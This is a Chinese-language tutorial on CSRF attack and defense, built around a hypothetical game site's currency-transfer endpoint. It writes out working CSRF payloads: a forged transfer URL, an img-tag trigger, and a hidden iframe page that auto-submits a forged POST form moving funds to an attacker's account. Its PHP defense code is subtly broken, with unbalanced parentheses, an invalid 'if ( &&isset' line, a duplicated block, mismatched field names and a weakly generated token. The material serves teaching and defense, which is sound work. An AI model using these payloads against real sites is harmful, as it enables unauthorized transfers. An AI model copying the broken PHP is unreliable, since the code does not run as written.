前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CSRF攻击与防御

CSRF攻击与防御

作者头像
丁D
发布2022-08-12 21:40:51
1.1K0
发布2022-08-12 21:40:51
举报
文章被收录于专栏:老铁丁D

漏洞修复

CSRF攻击原理

由上图分析我们可以知道构成CSRF攻击是有条件的:

1、客户端必须一个网站并生成cookie凭证存储在浏览器中

2、该cookie没有清除,客户端又tab一个页面进行访问别的网站

CSRF例子与分析

低级别CSRF攻击

假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:

代码语言:javascript
复制
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000 

此时恶意攻击者的网站也构建一个相似的链接:

1、可以是采用图片隐藏,页面一打开就自动进行访问第三方文章:

代码语言:javascript
复制
<img src='攻击链接'> 

2、也可以采用js进行相应的操作

代码语言:javascript
复制
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 

toUserID为攻击的账号ID

1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie

2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站

3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就没了1000游戏虚拟币

中级别CSRF攻击

游戏网站负责人认识到了有被攻击的漏洞,将进行升级改进。

将由链接GET提交数据改成了表单提交数据

代码语言:javascript
复制
//提交数据表单 
<form action="./Transfer.php" method="POST"> 
 <p>toUserId: <input type="text" name="toUserId" /</p> 
 <p>vMoney: <input type="text" name="vMoney" /></p> 
 <p><input type="submit" value="Transfer" /></p> 
</form> 

Transfer.php

代码语言:javascript
复制
<?php 
    session_start(); 
 if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney'])) #验证 
 { 
  //相应的转账操作 
 } 
?> 

恶意攻击者将会观察网站的表单形式,并进行相应的测试。

首先恶意攻击者采用(http://www.game.com/Transfer.phptoUserId=20&vMoney=1000) 进行测试,发现仍然可以转账。

那么此时游戏网站所做的更改没起到任何的防范作用,恶意攻击者只需要像上面那样进行攻击即可达到目的。

总结:

1、网站开发者的错误点在于没有使用$_POST进行接收数据。当$_REQUEST可以接收POST和GET发来的数据,因此漏洞就产生了。

高级别CSRF攻击

  这一次,游戏网站开发者又再一次认识到了错误,将进行下一步的改进与升级,将采用POST来接收数据

代码语言:javascript
复制
<?php 
    session_start(); 
 if (isset($_POST['toUserId'] && isset($_POST['vMoney'])) #验证 
 { 
  //相应的转账操作 
 } 
?> 

此时恶意攻击者就没有办法进行攻击了么?那是不可能的。

恶意攻击者根据游戏虚拟币转账表单进行伪造了一份一模一样的转账表单,并且嵌入到iframe中

嵌套页面:(用户访问恶意攻击者主机的页面,即tab的新页面)

代码语言:javascript
复制
<!DOCTYPE html> 
<html> 
<head> 
<meta charset="utf-8"> 
<title>攻击者主机页面</title> 
<script type="text/javascript"> 
function csrf() 
{ 
window.frames['steal'].document.forms[0].submit(); 
} 
</script> 
</head> 
<body onload="csrf()"> 
<iframe name="steal" display="none" src="./xsrf.html"> 
</iframe> 
</body> 
</html> 
<!DOCTYPE html> 
<html> 
<head> 
<title>csrf</title> 
</head> 
<body> 
<form display="none" action="http://www.game.com/Transfer.php" method="post" > 
<input type="hidden" name="toUserID" value="20"> 
<input type="hidden" name="vMoney" value="1000"> 
</form> 
</body> 
</html> 

客户端访问恶意攻击者的页面一样会遭受攻击。

总结

CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的

CSRF防御方法

服务器端防御:

  1、重要数据交互采用POST进行接收,当然是用POST也不是万能的,伪造一个form表单即可破解

  2、使用验证码,只要是涉及到数据交互就先进行验证码验证,这个方法可以完全解决CSRF。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。

  3、验证HTTP Referer字段,该字段记录了此次HTTP请求的来源地址,最常见的应用是图片防盗链。PHP中可以采用APache URL重写规则进行防御,可参考:http://www.cnblogs.com/phpstudy2015-6/p/6715892.html

  4、为每个表单添加令牌token并验证

(可以使用cookie或者session进行构造。当然这个token仅仅只是针对CSRF攻击,在这前提需要解决好XSS攻击,否则这里也将会是白忙一场【XSS可以偷取客户端的cookie】)

  CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,该请求中所有的用户验证信息都存在于Cookie中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的Cookie来通过安全验证。由此可知,抵御CSRF攻击的关键在于:在请求中放入攻击者所不能伪造的信息,并且该信息不存在于Cookie之中。

  鉴于此,我们将为每一个表单生成一个随机数秘钥,并在服务器端建立一个拦截器来验证这个token,如果请求中没有token或者token内容不正确,则认为可能是CSRF攻击而拒绝该请求。

  由于这个token是随机不可预测的并且是隐藏看不见的,因此恶意攻击者就不能够伪造这个表单进行CSRF攻击了。

  要求:

  1、要确保同一页面中每个表单都含有自己唯一的令牌

  2、验证后需要删除相应的随机数

代码语言:javascript
复制
<?php 
class Token 
{ 
/** 
* @desc 获取随机数 
* 
* @return string 返回随机数字符串 
*/ 
private function getTokenValue() 
{ 
return md5(uniqid(rand(), true).time()); 
} 
/** 
* @desc 获取秘钥 
* 
* @param $tokenName string | 与秘钥值配对成键值对存入session中(标识符,保证唯一性) 
* 
* @return array 返回存储在session中秘钥值 
*/ 
public function getToken($tokenName) 
{ 
$token['name']=$tokenName; #先将$tokenName放入数组中 
session_start(); 
if(@$_SESSION[$tokenName]) #判断该用户是否存储了该session 
{ #是,则直接返回已经存储的秘钥 
$token['value']=$_SESSION[$tokenName]; 
return $token; 
} 
else #否,则生成秘钥并保存 
{ 
$token['value']=$this->getTokenValue(); 
$_SESSION[$tokenName]=$token['value']; 
return $token; 
} 
} 
} 
#测试 
$csrf=new Token(); 
$name='form1'; 
$a=$csrf->getToken($name); 
echo "<pre>"; 
print_r($a); 
echo "</pre>"; 
echo "<pre>"; 
print_r($_SESSION); 
echo "</pre>";die; 
?> 

验证:

代码语言:javascript
复制
<?php 
#转账表单验证 
session_start(); 
if($_POST['transfer']==$_SESSION['transfer']) #先检验秘钥 
{ 
unset($_SESSION['transfer']); #删除已经检验的存储秘钥 
if ( &&isset($_POST['toUserId'] && isset($_POST['vMoney'])) #验证 
{ 
//相应的转账操作 
} 
} 
else 
{ 
return false; 
} 
?> 
<?php 
#转账表单验证 
session_start(); 
if($_POST['transfer']==$_SESSION['transfer']) #先检验秘钥 
{ 
unset($_SESSION['transfer']); #删除已经检验的存储秘钥 
if ( &&isset($_POST['toUserId'] && isset($_POST['vMoney'])) #验证 
{ 
//相应的转账操作 
} 
} 
else 
{ 
return false; 
} 
?> 

该方法套路:

  1. 用户访问某个表单页面。
  2. 服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。【这里已经不考虑XSS攻击】
  3. 在页面表单附带上Token参数。
  4. 用户提交请求后, 服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,一致为合法请求,不是则非法请求。

浅谈CSRF攻击方式

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-12-29 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CSRF攻击原理
    • CSRF例子与分析
      • 低级别CSRF攻击
        • 中级别CSRF攻击
          • 高级别CSRF攻击
          • CSRF防御方法
          相关产品与服务
          验证码
          腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档